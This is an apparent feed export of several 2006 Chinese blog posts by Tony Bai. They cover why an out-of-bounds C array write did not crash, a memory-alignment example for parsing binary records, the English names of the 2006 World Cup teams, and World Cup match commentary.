C/C++版看了看，发现一个比较有意思的问题，一位兄弟在其帖子中问一段很简单的程序明显有数组越界访问之错误，可程序为什么运行起来却’安然无恙’，我看看了看，也给出了我自己的回复，晚上下班后又想想了这个问题，决定写一篇blog说说。\n这位仁兄的程序(据他个人说来源自’GNU/Linux编程指南’)是这样的：\n#define BIGNUM 50\nvoid index_to_the_moon(int arr[]);\nint main(void)\n{\nint intary[10];\nindex_to_the_moon(intary);\nexit(EXIT_SUCCESS);\n}\nvoid index_to_the_moon(int arr[])\n{\nint i;\nfor(i=0;i\u0026lt;bignum;i++)\n{\narr[i]=i;\nprintf(\u0026quot;%d\\n\u0026quot;,arr[i]);\n}\n}\n正如这位楼主所说，这段代码很简单，相信学过2天C程序的人都能看得懂。按照楼主所说我在公司的环境(Solaris 9, Gcc 3.4)编译运行了这段代码，果然让楼主言中了，程序’安然无恙’的运行结束，没有任何异常。在那个帖子的回复中很多人说原因：’C不对数组下标越界进行检查，如果越界访问，其结果未定义’。这些回答其实也没有错，我在Windows XP, mingw Gcc 3.4.2下也试过编译运行该程序，结果是当打印输出到47，程序就中止了，也没有任何提示或者错误出现，估计是Windows OS中途将之Kill掉了。我们还是不说Windows上的东西比较好，我们还是主要以Unix平台为例，为什么Unix平台运行该程序一切OK呢？我们不妨分析一下：\n明眼人都看得出来，该程序的确是越界访问数组了，但这只是表面想象或者说是违反了C语言的约束的做法，而更进一步说越界访问的结果是什么呢？Unix OS凭什么知道需要给出错误信息(Dump Core)呢？直截了当地说这个程序里面只是’污染’了用户进程地址空间中的一个叫’栈’的空间，我们回顾一下一个应用程序它的进程地址空间是一个什么样的布局(这个在’C专家编程’一书中有说明)：\n———— 0xFFFFFFFF(高地址)\n栈 (stack bottom)\n(stack top)\n————\n|\n|\n\\|/\n空洞\n/|\\\n|\n————\n堆\n————\n数据段\n————\n文本段\n———— 0×00000000(低地址)\n按照上面的布局，我们来大致确定一下那个程序中各个变量的位置，当然我们主要聚焦在栈区了，我们要看看index_to_the_moon函数到底污染了栈上的哪些区域？在main函数中程序定义了一个局部数组变量intary，之后调用了函数index_to_the_moon，我们可以得到一个这样的栈布局：\n—————————\nstack bottom(high addess)\n|\n\\|/\n————–\nmain的返回地址\n————–\nsaved %ebp\n————–\nintary[9]\n————–\n…\n————–\nintary[0]\n…\n————–\nindex_to_the_moon返回地址\n….\n|\n\\|/\nstack top(low address)\n————————–\n从这个布局中我们可以看得出来，在栈上，intary中的各个元素的排列，通过打印出intary[0]和intary[1]的地址我们即可推导出其伸展方向，这样已经一目了然了，从intary[0]到intary[9]是从低地址到高地址分配的，这样我们可以推断如果有intary[10]，其地址应该在intary[9]的高地址方向上，这样在index_to_the_moon中越界修改的栈数据就是沿着高地址方向的污染，而高地址方向存储的是什么呢，继续看图，沿着高地址方向依次是main的返回地址、以及调用main函数的_start函数的访问地址以及他们的参数列表和相关局部变量，当然_start函数究竟是什么样子的我们不得而知。但是污染了这些数据会不会导致core的出现呢？我觉得可能性不大，我想当main函数调用exit或者return后用户进程退出了，OS只是象征性的到栈上取一些返回值罢了，至于这些值是0还是796，意义已经不大。\n那是不是这样越界下去就永远不会出问题了呢？当然不是。你把上面程序中的BIGNUM换成1000看看，起码在我的环境上，当printf访问到intary[654]的时候，出现了’段错误 ((主存储器)信息转储)’，这又是为什么呢？我们都知道我们现在的OS采用的都是虚拟存储管理，我们的进程地址空间也是虚拟地址，当我们无限制的沿着高低址方向试图访问数据时，所访问的虚拟地址值就会最终’进入内核空间’或者’溢出当前内存页所能表示的虚拟内存地址’而导致访问违例，当你访问违法的地址时出错就是必然的了。\n","permalink":"https://tonybai.com/2006/06/16/after-array-index-overflow/","summary":"\u003cp\u003e下午到\u003ca href=\"http://www.chinaunix.net/\"\u003eChinaUnix\u003c/a\u003e C/C++版看了看，发现一个比较有意思的问题，一位兄弟在其\u003ca href=\"http://bbs.chinaunix.net/viewthread.php?tid=774571\u0026amp;extra=page%3D1\"\u003e帖子\u003c/a\u003e中问一段很简单的程序明显有数组越界访问之错误，可程序为什么运行起来却’安然无恙’，我看看了看，也给出了我自己的回复，晚上下班后又想想了这个问题，决定写一篇blog说说。\u003c/p\u003e\n\u003cp\u003e这位仁兄的程序(据他个人说来源自’GNU/Linux编程指南’)是这样的：\u003c/p\u003e","title":"当数组访问越界后"},{"content":"记得前几天吃午饭时，和一同事讨论到荷兰和塞黑的那场比赛，同事突然问到：\u0026ldquo;那场比赛的字幕是不是用德文打出来的，为什么荷兰的国名不是Holand，而是一个以N打头的单词？\u0026quot;，这让我想到可能很多人看直播的时候，如果不是解说员的解说，很多人开始可能都分辨不出来这究竟是哪些队，遂有了贴一贴这32强英文国名的想法。\n世界杯决赛阶段32强英文名如下：\nGroup A:\nGermany — 德国\nEcuador — 厄瓜多尔\nCosta Rica — 哥斯达黎加\nPoland — 波兰\nGroup B:\nEngland — 英格兰\nSweden — 瑞典\nTrinidad and Tobago — 特立尼达和多巴哥\nParaguay — 巴拉圭\nGroup C:\nArgentina — 阿根廷\nNetherlands — 荷兰\nCote d’ivoire — 科特迪瓦\nSerbia and Montenegro — 塞尔维亚和黑山\nGroup D:\nMexico — 墨西哥\nPortugal — 葡萄牙\nAngola — 安哥拉\nIran — 伊朗\nGroup E:\nCzech Republic — 捷克\nItaly — 意大利\nGhana — 加纳\nUSA — 美国\nGroup F:\nAustralia — 澳大利亚\nBrazil — 巴西\nCroatia — 克罗地亚\nJapan — 日本\nGroup G:\nKorea Republic — 韩国\nFrance — 法国\nSwitzerland — 瑞士\nTogo — 多哥\nGroup H\nSpain — 西班牙\nSaudi Arabia — 沙特阿拉伯\nTunisia — 突尼斯\nUkraine — 乌克兰\n","permalink":"https://tonybai.com/2006/06/15/the-names-of-32-participating-countries-of-this-worldcup/","summary":"\u003cp\u003e记得前几天吃午饭时，和一同事讨论到荷兰和塞黑的那场比赛，同事突然问到：\u0026ldquo;那场比赛的字幕是不是用德文打出来的，为什么荷兰的国名不是Holand，而是一个以N打头的单词？\u0026quot;，这让我想到可能很多人看直播的时候，如果不是解说员的解说，很多人开始可能都分辨不出来这究竟是哪些队，遂有了贴一贴这32强英文国名的想法。\u003c/p\u003e","title":"世界杯32强英文国名大观"},{"content":"关于内存对齐的话题，始终是敏感的。稍有不慎，必将闯下大祸！最近项目稍显轻闲，自己给自己安排一天反思和总结一下，突然想到以前写过的一篇\u0026rsquo;也谈内存对齐\u0026rsquo;，那篇文章谈的是内存对齐的基本知识以及一些实验的数据，想必很多人看完后，会收获一些东西，但是对内存对齐的应用还是处于懵懂状态，其实大部分时间我们是不会显式的用到\u0026rsquo;内存对齐的\u0026rsquo;，但是有些时候我们需要这样做。这里做了一个小例子，希望能给大家以启发。\n例子是这样的：我们有一种二进制文件，其中存储了多条经过特定对齐的某种记录格式的数据，我们的任务就是解析出来这些数据，但是我们不知道也没有这种数据的记录格式结构的定义，但我们不是一无所有，我们有一个表，这个表描述了这个记录格式中有哪些域以及这些域的类型信息，我们还知道的是源数据的对齐系数。\n叙述完问题后，我们来给出一些具体的东西：\n二进制文件生成程序：\n#pragma pack(1)\nstruct foo_t {\nint a;\nchar b[25];\nint c;\n};\n#pragma pack()\nint main() {\nFILE *fp = NULL;\nstruct foo_t foo1 = {12457, \u0026ldquo;test foo1\u0026rdquo;, 75421};\nstruct foo_t foo2 = {36098, \u0026ldquo;test foo2\u0026rdquo;, 89063};\nfp = fopen(\u0026ldquo;foo.dat\u0026rdquo;, \u0026ldquo;wb+\u0026rdquo;);\nif (fp == NULL) {\nprintf(\u0026ldquo;error in open foo.dat!\\n\u0026rdquo;);\n}\nfwrite(\u0026amp;foo1, sizeof(foo1), 1, fp);\nfwrite(\u0026amp;foo2, sizeof(foo2), 1, fp);\nfclose(fp);\nreturn 0;\n}\n生成的待解析文件：foo.dat，其中有两条记录。\n好了，我们的任务已经很明确了，就是正确解析出这两条记录。如果解析程序知道有下面这样的结构体定义：\n#pragma pack(1)\nstruct foo_t {\nint a;\nchar b[25];\nint c;\n};\n#pragma pack()\n那这里也就不用说废话了，我们不知道这个结构定义，不过我们通过知道的一些信息可以整理出一个描述该结构定义的一个表：\n#define X_CHAR 1\n#define X_STRING 2\n#define X_INT 3\ntypedef struct x_fld_info_t {\nchar name[MAX_FIELD_NAME_LEN];\nint type;\nint nitems;\nint offset;\n} x_fld_info_t;\nx_fld_info_t cpi_type_info_tab[3] = { /* cpi – composite */\n{\u0026ldquo;a\u0026rdquo;, X_INT, 1, -1},\n{\u0026ldquo;b\u0026rdquo;, X_STRING, 25, -1},\n{\u0026ldquo;c\u0026rdquo;, X_INT, 1, -1}\n};\n想一想，我们能从文件foo.dat中读出来什么？仅仅是一块数据，每次读多大一块？如何在这块数据中找到相应的域呢？没错，我们需要通过cpi_type_info_tab这个表信息得出每条foo_t记录的大小，还要得到foo_t中每个域在这块数据中的偏移量，然后根据偏移量和域自身大小准确获取其内容。\n好了终于要用到内存对齐的知识了，其实想想也知道foo.dat的文件生成程序和我们的解析程序可能不在一台机器上，而且完全可能在体系结构不同的机器上，这样不同体系结构的机器他们的默认对齐系数、字节序都可能不同(这里我们暂不考虑字节序的问题)，我们在文件生成程序那边强制指定对齐系数有利于解析程序这边的解析。我们要做的就是根据已知的对齐系数和cpi_type_info_tab表中的信息计算出来该结构体在特定对齐系数下的总大小以及其各个域的偏移量。下面的宏X_ROUND_UP和函数align_cpi_type配合完成了这一工作：\nint x_atom_type_size[4] = {\n-1, // 从下表1开始有意义\nsizeof(char), // 对应X_CHAR的原子类型的size\nsizeof(char), // 对应X_STRING的原子类型的size\nsizeof(int) // 对应X_INT的原子类型的size\n};\nstatic int lg2(int k) { /* 求k以2为底的对数值，这里假设k一定为2的次方^_^ */\nint i = 0;\nwhile ((k /= 2) != 0) {\ni++;\n}\nreturn i;\n}\n#define X_ROUND_UP(x, k, rv) do { \\\nunsigned int t = (-1 \u0026laquo; k); \\\n(rv) = ((x – t – 1) \u0026amp; t); \\\n} while(0) /* 将x向上圆整到2的k次幂的倍数 */\nstatic void align_cpi_type(x_fld_info_t *tab, int fld_cnt, int force_align_mod, int *size) {\nint i = 0;\nint cur = 0;\nint rv = 0;\nint max_sz = 0; /* 复合类型各个域中的最大原子类型的长度, 用于对齐整个结构 */\nint atom_sz = 0; /* 域的原子类型 */\nint ali_mod = 0; /* alignment modules */\n/*\n* 对齐各个域\n*/\nfor (i = 0; i \u0026lt; fld_cnt; i++) {\natom_sz = x_atom_type_size[tab[i].type];\nif (max_sz \u0026lt; atom_sz) {\nmax_sz = atom_sz;\n}\nif (atom_sz \u0026lt; force_align_mod) {\nali_mod = atom_sz;\n} else {\nali_mod = force_align_mod;\n}\nX_ROUND_UP(cur, lg2(ali_mod), rv);\ntab[i].offset = rv;\ncur = tab[i].offset; /* 这一句代码还要感谢一位留名为\u0026quot;十年草木\u0026quot;的网友的提醒 */\ncur += (atom_sz * (tab[i].nitems));\n}\n/*\n* 对齐整个复合类型\n*/\nif (max_sz \u0026lt; force_align_mod) {\nali_mod = max_sz;\n} else {\nali_mod = force_align_mod;\n}\nX_ROUND_UP(cur, lg2(ali_mod), rv);\n(*size) = rv;\n}\n如果对内存对齐还有疑惑的，可以去看看我的那篇\u0026rsquo;也谈内存对齐\u0026rsquo;，再回到这来看align_cpi_type的实现，这里的X_ROUND_UP的算法借自于\u0026rsquo;Hacker\u0026rsquo;s Delight\u0026lsquo;一书，很好的一本讨论\u0026rsquo;Computer Arithmetic\u0026rsquo;的书，里面的很多Knowledge \u0026amp; Tip很有价值。通过align_cpi_type函数我们既得到了结构的大小也得到了结构中各个域的偏移量。根据这些信息我们就可以输出文件foo.dat中的数据了。\nstatic void output_cpi_mem(x_fld_info_t *tab, int fld_cnt, char *buf)\n{\nint i = 0;\nint int_tmp = 0;\nchar str_tmp[50]; /* 这里仅是举例, 所以使用了一个固定大小的缓冲区, 实际上需要做一个可动态扩展的缓冲区 */\nfor (i = 0; i \u0026lt; fld_cnt; i++) {\nif (tab[i].type == X_STRING) {\nmemset(str_tmp, 0, sizeof(str_tmp));\nmemcpy(str_tmp, (char*)(buf+(tab[i].offset)), x_atom_type_size[tab[i].type] * (tab[i].nitems));\nprintf(\u0026ldquo;the value of field \u0026lsquo;%s\u0026rsquo; is [%s]\\n”, tab[i].name, str_tmp);\n} else if (tab[i].type == X_INT) {\nmemcpy(\u0026amp;int_tmp, (char*)(buf+(tab[i].offset)), x_atom_type_size[tab[i].type] * (tab[i].nitems));\nprintf(\u0026ldquo;the value of field \u0026lsquo;%s\u0026rsquo; is [%d]\\n”, tab[i].name, int_tmp);\n}\n}\n}\nint main() {\nx_fld_info_t cpi_type_info_tab[3] = { /* cpi – composite */\n{\u0026ldquo;a\u0026rdquo;, X_INT, 1, -1},\n{\u0026ldquo;b\u0026rdquo;, X_STRING, 25, -1},\n{\u0026ldquo;c\u0026rdquo;, X_INT, 1, -1}\n};\nint size = 0;\nint i = 0;\nalign_cpi_type(cpi_type_info_tab, sizeof(cpi_type_info_tab)/sizeof(cpi_type_info_tab[0]), modules, \u0026amp;size);\n/*\n* 从文件foo.dat中读出所有记录\n* 并打印出来\n*/\nFILE *fp = NULL;\nchar buf[50];\nfp = fopen(\u0026ldquo;foo.dat\u0026rdquo;, \u0026ldquo;r\u0026rdquo;);\nif (fp == NULL) {\nprintf(\u0026ldquo;error in fopen!\\n\u0026rdquo;);\n}\nfor (i = 0; i \u0026lt; 2; i++) { /* 这里偷了个懒儿，直接用2这个记录的个数了 */\nmemset(buf, 0, sizeof(buf));\nfread(buf, size, 1, fp);\n/*\n* 通过cpi_type_info_tab中的信息打印出\n* 各个字段的值\n*/\noutput_cpi_mem(cpi_type_info_tab, 3, buf);\n}\nfclose(fp);\nreturn 0;\n}\n执行输出：\nthe value of field \u0026lsquo;a\u0026rsquo; is [12457]\nthe value of field \u0026lsquo;b\u0026rsquo; is [test foo1]\nthe value of field \u0026lsquo;c\u0026rsquo; is [75421]\nthe value of field \u0026lsquo;a\u0026rsquo; is [36098]\nthe value of field \u0026lsquo;b\u0026rsquo; is [test foo2]\nthe value of field \u0026lsquo;c\u0026rsquo; is [89063]\n看到这有些人可能还是很糊涂，到底为什么要这么做呢？提示一下：现在我们要解析一存储未知类型数据的文件的记录时，我们只需要这个纪录的一些描述信息即可了，而无需知道那个foo_t的具体定义了。能不能理解就看你自己了。\n","permalink":"https://tonybai.com/2006/06/14/also-talk-about-memory-alignment-cont/","summary":"\u003cp\u003e关于内存对齐的话题，始终是敏感的。稍有不慎，必将闯下大祸！最近项目稍显轻闲，自己给自己安排一天反思和总结一下，突然想到以前写过的一篇\u0026rsquo;\u003ca href=\"http://tonybai.com/2005/08/09/also-talk-about-memory-alignment/\"\u003e也谈内存对齐\u003c/a\u003e\u0026rsquo;，那篇文章谈的是内存对齐的基本知识以及一些实验的数据，想必很多人看完后，会收获一些东西，但是对内存对齐的应用还是处于懵懂状态，其实大部分时间我们是不会显式的用到\u0026rsquo;内存对齐的\u0026rsquo;，但是有些时候我们需要这样做。这里做了一个小例子，希望能给大家以启发。\u003c/p\u003e","title":"也谈内存对齐(续)"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2006/06/13/google-earth-update-maps-of-mainland/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"Google Earth更新中国地区卫星照片啦！"},{"content":"到目前世界杯的第四个比赛日截止，这届世界杯好像在给人们一个暗示：\u0026ldquo;这届世界杯拒绝冷门\u0026rdquo;。\n就近说起，昨天晚上的几场比赛，日本和澳大利亚就不说了，半斤八两，没有黑不黑之说。名不副实的世界第五的美国队向来没有什么黑马成色，自从遥远的1930年拿过季军之后，就再也没有什么成就可言了，赛前也没有人把美国列为黑马行列。结果也符合人们的猜测，世界第二的捷克痛快淋漓尽致的3:0拿下。今晨最晚的一场比赛被众多人认为是一场可能爆冷的比赛，非洲加纳队实力不容小觑，不过今晨看到比赛结果，加纳也没显示出足够的’黑’，被意大利2球斩落。这场比赛我没有看，不过从赛后的技术统计来看，加纳队还是表现出很强的实力的，和小组的其他两个球队过招应该不在话下。\n回顾前3天的比赛，特立尼达和多巴哥队在10人应战的情况下逼平瑞典算是给人们一个’惊奇’，但是要不是瑞典人太’独’，相信前者也不会有此’成就’，不过特立尼达和多巴哥队人的顽强精神是值得称颂的。非洲球队向来的黑马的诞生地，这届杯赛另一枝被看好的球队是有着’非洲大象’美誉的科特迪瓦队。首先科队具备黑马的比赛条件-被分在死亡之组，掀翻任一个球队，都是爆冷。不过首场阿根廷人没有手下留情，’2:1′的比分，让阿根廷人的探戈舞步踩踏在’非洲大象’的身上，不过从比赛过程来看，科队的确显现了很强的’黑马成色’，但与加纳不同的是其后面的对手一个也不弱，科队能否在后面的比赛中’黑’一场呢？我们拭目以待。\n其他小组的结果也是类似，传统强队均轻松战胜相对弱的球队。世界杯刚刚开始，以后的比赛还多着呢，人们也许都在盼望在以后的比赛中炎热的天气需要那么一点点’冷’气了。\n今晚又是一个球迷的节日，两只传统强队巴西和法国将在本届世界杯第一次’露脸’，期待中。\n","permalink":"https://tonybai.com/2006/06/13/few-dark-horse-in-this-worldcup/","summary":"\u003cp\u003e到目前世界杯的第四个比赛日截止，这届世界杯好像在给人们一个暗示：\u0026ldquo;这届世界杯拒绝冷门\u0026rdquo;。\u003c/p\u003e\n\u003cp\u003e就近说起，昨天晚上的几场比赛，日本和澳大利亚就不说了，半斤八两，没有黑不黑之说。名不副实的世界第五的美国队向来没有什么黑马成色，自从遥远的1930年拿过季军之后，就再也没有什么成就可言了，赛前也没有人把美国列为黑马行列。结果也符合人们的猜测，世界第二的捷克痛快淋漓尽致的3:0拿下。今晨最晚的一场比赛被众多人认为是一场可能爆冷的比赛，非洲加纳队实力不容小觑，不过今晨看到比赛结果，加纳也没显示出足够的’黑’，被意大利2球斩落。这场比赛我没有看，不过从赛后的技术统计来看，加纳队还是表现出很强的实力的，和小组的其他两个球队过招应该不在话下。\u003c/p\u003e","title":"这届世界杯'不太冷'"},{"content":"现在离世界杯开幕还有整整1个小时，刚和同事们’吃香喝辣’回来，心中甚是’惦记’着今晚的世界杯开幕式和揭幕战。掐指算来，这可是我经历的三届世界杯以来第一次有机会看到开幕式以及揭幕战。\n照比98年和02年世界杯，这届世界杯要更加精彩，几乎所有的传统欧美强队都进入了决赛圈，而且又有一批有潜力成为下一代球王的球星，像小罗、亨利，别忘了上两届球王贝利和马拉多纳都是因在世界杯上的出色表现，才被公认为球王的，可以说’No World Cup, No Soccer 